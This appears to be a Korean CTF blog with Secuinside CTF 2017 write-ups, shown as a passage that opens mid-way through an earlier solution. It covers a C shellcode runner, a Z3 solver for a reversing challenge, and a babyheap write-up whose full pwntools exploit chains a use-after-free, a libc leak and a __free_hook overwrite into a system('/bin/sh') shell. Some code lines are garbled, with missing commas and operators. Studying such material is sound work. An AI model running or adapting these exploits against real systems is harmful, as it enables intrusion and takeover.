    v21[stage+63= v21[stage+63+ * (score - previous_score) - 9
 
    v21[stage-1= convert2byte(v21[stage-1])
    v21[stage+31= convert2byte(v21[stage+31])
    v21[stage+63= convert2byte(v21[stage+63])
 
## Stage 3
byte_6040E0 = [0x530x4A0x8D0xED0x4A0xBE0x6E0x670x510x630x780x3E0x570x0E0x410xAD0x730x660x330x6B0x4D0x720x620x750x560xA00x430x570x730x700x7D0x070x6F0x630x470xAF0x750x520x430x6A0x600x610x250x440x120xA50x360x450x1E0x430xE00x1F0xCC0x610xE90x860xFC0x700xFE0x140x900x550xB80x060x5D0x560x5E0x660x410x610x450x100xAF0x140x170x630x190x390x920x990xA20x8C0x1F0x9B0x210x110x220xB70x250xC50x280xD60x910xDD0x2B0x770x000x480x310xFF0x0F0x05]#, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
qword_604180 = [for i in xrange(102)]
for i in xrange(0,102):
    qword_604180[i] = v21[i] ^ byte_6040E0[i]
 
for i in xrange(0102):
    print "%.2x"%qword_604180[i],
 
cs


[Exploit Code] - snake_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <string.h>
 
char code[] = "\x55\x48\x89\xe5\x48\xb8\x6e\x6b\x5f\x69\x74\x2e\x5d\x00\x49\xb9\x65\x74\x27\x73\x5f\x64\x72\x69\x48\xba\x5f\x77\x69\x6e\x65\x5f\x6f\x66\x48\xbe\x6b\x5f\x69\x73\x5f\x74\x68\x65\x49\xb8\x5f\x6c\x69\x66\x65\x2e\x5f\x4c\x48\xbf\x53\x45\x43\x55\x5b\x68\x61\x63\x50\x41\x51\x41\x50\x52\x56\x57\xba\x41\x00\x00\x00\x48\x89\xe6\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05";
 
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}
 
cs


[Get Flag~~!!!!]


[그림 9] flag 확인



끝~!!!









Posted by holinder4S
2017. 7. 22. 07:18

## Secuinside CTF_2017(TrippleRotate, rev)


[Summary]

1. 0과 1로 이루어진 encrypt 파일이 하나 주어지고 문제 바이너리가 주어짐.


2. 문제 바이너리는 9글자 Input을 받고 해당 문자를 암호화 루틴을 거쳐 파일로 떨굼.


3. 복잡한 암호화 알고리즘이 있는데 z3를 이용하여 조건을 만족하는 답을 찾으면 됨.



[Analysis] 

  TrippleRotate 문제는 IDA를 이용하여 분석해보면 아래 [그림 1]과 같이 Input문자를 받는데 9글자인지 체크를 한다.

만약 9글자가 아니면 "check your input"이라는 문자를 출력하고 프로그램이 종료된다.


[그림 1] main 분석


 또한 그 바로 밑에서 Length를 입력 받는데 이 length는 무조건 0xC8보다 커야하고 만약 작다면 "check your length"

라는 문자열을 출력하고 종료한다. 이제 아래부터는 풀었던 방식대로 단계별로 분석을 하도록 하겠다.


 1) 실제로 이 length값은 encrypt 값의 0과 1의 갯수가 된다. 따라서 우리가 decrypt하려는 encrypt파일의 0과 1의 

개수를 확인하면 201이라는 것을 확인할 수 있다.


 2) 이제 [그림 1]에서 보이는 encrypt_400876()함수를 분석해야하는데 해당 함수 내부는 아래 [그림 2]와 같다.



[그림 2] encrypt_400876  분석


 위 [그림 2]를 보면 유심히 살펴봐야할 부분이 빨간 네모박스 친 4군데가 있다. 위에서 부터 차례대로 분석을 해보면 

첫번째 박스는 3번째 네모박스와 연관이 있다. 3번째 for문을 보면 v5변수에 1씩 증가시키면서 함수를 호출하는데 

결과적으로 v5에 저장된 sub_400ACF, v6에 저장된 sub_400B22, v7에 저장된 sub_400B9B함수를 실행시키는 

부분이다.


 실제로는 그 전에 sub_400998함수를 실행하는데 이 함수의 내부를 잘 동적 분석을 해보면 우리가 넣은 인풋의 

한 글자 한 글자마다 2진수로 특정 메모리에 저장하는 것을 알 수 있다. 따라서 이 함수는 string to binary역할을 

하는 함수이다. 그런 다음 Input 스트링을 binary로 변환한 결과를 한 비트씩 0x16번째 비트까지는 first chunk에

집어넣는데 첫번째 비트는 first_chunk[0x16]에 두 번째 비트는 first_chunk[0x15]에 집어넣는 식으로 

first_chunk[0x0]까지 집어넣는 과정을 거친다. 이런 식으로 second_chunk에는 0x17부터 0x18만큼 거꾸로 

집어넣고, third_chunk에는 그 뒤부터 0x19만큼 집어넣는다. 그럼 총 0x17 + 0x18 + 0x19 = 0x48(72)bit

총 9바이트 9글자가 된다.


 예를 들면 아래 [그림3]과 같은 식이다.



[그림 3] first_chunk, second_chunk, third_chunk 값 입력 예제


 마지막 네모 박스는 나중에 설명하도록 하겠다.


 3) 이제 첫 번째 네모 박스의 각 함수에 대해 분석을 해야하는데 sub_400ACF() 함수는 아래 [그림 4]과 같다.



[그림 4] sub_400ACF() 함수 분석


 이 함수에서는 first_chunk배열의 0x17번부터 값을 채워나가는데 [그림 4]의 계산식을 보면 (first_chunk + 5 + i)와 

(first_chunk + i)의 값을 xor하여 (i+0x17)번째 위치에 대입하는 루틴이다.


 4) 이제 첫 번재 네모박스의 sub_400B22()함수에 대해 분석을 할 차례인데 아래 [그림 5]와 같다.



[그림 5] sub_400B22() 함수 분석


 이 함수에서는 second_chunk배열의 0x18번부터  값을 채워나가는데 [그림 5]의 계산식을 보면 

(second_chunk + 1 + i)와 (second_chunk + 3 + i)와 (second_chunk + 4 + i)와 (second_chunk + i)의 

값들을 xor하여 (i+0x18)번째 위치에 대입하는 루틴이다.


 5) 이제 첫 번째 네모박스의 sub_400B9B()함수에 대해 분석을 할 차례인데 아래 [그림 6]과 같다.



[그림 6] sub_400B9B() 함수 분석


 이 함수에서는 third_chunk배열의 0x19번부터 값을 채워나가는데 [그림 6]의 계산식을 보면 (third_chunk + 3 + i)와

(third_chunk + i)를 xor하여 (i+0x19)번째 위치에 대입하는 루틴이다.


 6) 이제 여기까지 분석을 했다면 다시 [그림 2]를 참고하여 23번째 줄 까지 끝낸 상황이다. 이제부터는 24번째 

줄부터인 마지막 박스를 분석해야하는데 이는 매우 쉽다. 위 5번까지 실행을 끝마치면 각 chunk에 값들이 다들어간 

상황이고 이를 단순히 xor과 and연산으로 섞어서 계산하는 부분이기 때문이다. [그림 2]의 마지막 박스에 있는 

계산식을 보면 


{ (second_chunk[k]) & (third_chunk[k]) } xor { (second_chunk[k]) & (first_chunk[k]) } xor { (third_chunk[k]) }


이 최종 결과 값 배열[k]에 대입된다.


 7) 여기까지 완성되면 "encrypt"라는 파일을 쓰는 루틴이 끝이다. 


이제 정연산 분석은 끝났고 역연산 루틴을 짜야하는데 and연산도 있고 해서 짜기가 까다롭다. 그래서 나는 파이썬의 

Z3 모듈을 사용하여 위 정연산 분석했던 조건들을 그대로 집어넣어 결과 값으로 문제에서 주어진 "encrypt"의 결과가 

나오도록 스크립트를 아래와 같이 작성하였다. 


 실제로 스크립트를 돌리면 아래[그림 7]과 같이 조건에 맞는 답이 나타나는데 출력은 각 청크의 0x16까지, 0x17까지, 

0x18까지 출력하도록 하였고, 이를 8비트씩 모아 1바이트로 만들고 9글자를 아스키 문자로 변환하면 키 값을 확인할 수 

있다.



[그림 7] z3사용 스크립트 실행 결과


[Exploit Code] - tripple_rotate_z3_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from z3 import *
 
array1 = []
array2 = []
array3 = []
encrypted = [0,0,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1]
 
= Solver()
 
for i in xrange(0xc9):
    array1.append(BitVec('a1_%.3i'%i,1))
for i in xrange(0x170xc9):
    s.add(array1[i] == (array1[i-0x17] ^ array1[i-0x17+5]))
 
for i in xrange(0xc9):
    array2.append(BitVec('a2_%.3i'%i,1))
for i in xrange(0x180xc9):
    s.add(array2[i] == (array2[i-0x18] ^ array2[i-0x18+1] ^ array2[i-0x18+3] ^ array2[i-0x18+4]))
 
for i in xrange(0xc9):
    array3.append(BitVec('a3_%.3i'%i,1))
for i in xrange(0x190xc9):
    s.add(array3[i] == (array3[i-0x19] ^ array3[i-0x19+3]))
 
for i in xrange(0xc9):
    s.add((array2[i] & array3[i]) ^ (array2[i] & array1[i]) ^ (array3[i]) == encrypted[i])
 
print s.check()
answer = s.model()
 
def varname(t):
    return t[0]
 
array1_decrypted = []
array2_decrypted = []
array3_decrypted = []
 
for i in answer.decls():
    if "a1_" in str(i.name()):
        array1_decrypted.append((str(i.name()),answer[i]))
    if "a2_" in str(i.name()):
        array2_decrypted.append((str(i.name()),answer[i]))
    if "a3_" in str(i.name()):
        array3_decrypted.append((str(i.name()),answer[i]))
 
    #print "%s = %s"%(i.name(), answer[i])
 
array1_decrypted.sort(key=varname)
array2_decrypted.sort(key=varname)
array3_decrypted.sort(key=varname)
 
print "## first chunk ##"
for i in xrange(0x17):
    print array1_decrypted[i][1],
print "\n## second chunk ##"
for i in xrange(0x18):
    print array2_decrypted[i][1],
print "\n## third chunk ##"
for i in xrange(0x19):
    print array3_decrypted[i][1],
    
 
cs


끝~!








Posted by holinder4S
2017. 7. 20. 06:55

## Secuinside CTF_2017(babyheap, pwn)


[Summary]

1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점


2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.


3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
    (이 때 팀의 description에는 __free_got주소를 넣는다.)


4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
    (__free_got주소안에 system함수 주소를 넣는다.)


5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
    (이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)


6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
    fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
    (마찬가지로 system주소, __free_got도 계산)


7. Heap Leak도 할 수 있지만 여기서는 필요 없다.



[Analysis] 

  시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)

 이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을 

참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..


[Exploit Code] - babyheap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    p = process("./babyheap")
else:
    p = remote("13.124.157.141"31337)
 
binary = ELF("./babyheap")
 
raw_input()
 
def print_menu():
    print p.recvuntil('>')
 
def create_team(length, desc):
    print_menu()
    p.send('1\n')
    print p.recvuntil('length :')
    p.send(length+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def manager_team(index):
    print_menu()
    p.send('3\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def list_team(team_cnt):
    print_menu()
    p.send('4\n')
    for i in xrange(team_cnt):
        print p.recvuntil('Description : ')
        if (i+1== team_cnt:
            leak = p.recv(6); print leak
            return leak
 
def add_member(employment_cnt):
    print_menu()
    p.send('1\n')
    print p.recvuntil('employment :')
    p.send(employment_cnt+'\n')
    
def add_member_info(name, desc):
    print p.recvuntil('Name :')
    p.send(name)
    print p.recvuntil('Description :')
    p.send(desc)
 
def delete_member(index):
    print_menu()
    p.send('2\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
 
def manage_member(index, desc):
    print_menu()
    p.send('4\n')
    print p.recvuntil('Index :')
    p.send(index+'\n')
    print p.recvuntil('Description :')
    p.send(desc)
 
def return2team():
    print_menu()
    p.send('5\n')
    
 
if __name__ == '__main__':
    #################### Stage 1 ###################
    #     libc base leak & calc libc's free_hook   #
    ################################################
    create_team(str(5), 'AAAA')    # 0 team
    manager_team('0')
    
    emp_cnt = 0xff
    add_member(str(emp_cnt))
    for i in xrange(emp_cnt):
        add_member_info('/bin/sh\x00','/bin/sh\x00')
    
    delete_member('0')
    return2team()
    create_team(str(0xc8), '\n')    # 1 team+0x16~ : free list's addr
 
    libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak)
    libc_base = libc_leak - 0x3c270a
    free_hook = libc_base + 0x3c4a10
    system = libc_base + 0x46590
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] libc free_hook : " + hex(free_hook)
    print "[+] system addr : " + hex(system)
    ################### Stage 2 ####################
    #   overwrite __free_hook to system using UAF  #
    ################################################
    manager_team('0')
    add_member('1')        # realloc(0) => free()
    return2team()
 
    create_team(str(0x7f8), p64(free_hook)+'\n')    # 0xff*0x8 = 0x7f8 => uaf
    manager_team('0')
    manage_member('0', p64(system))    # overwrite free_hook to system(uaf)
    
    delete_member('4')    # triggering to free(overwritten system)
 
 
    p.interactive()
 
cs


Posted by holinder4S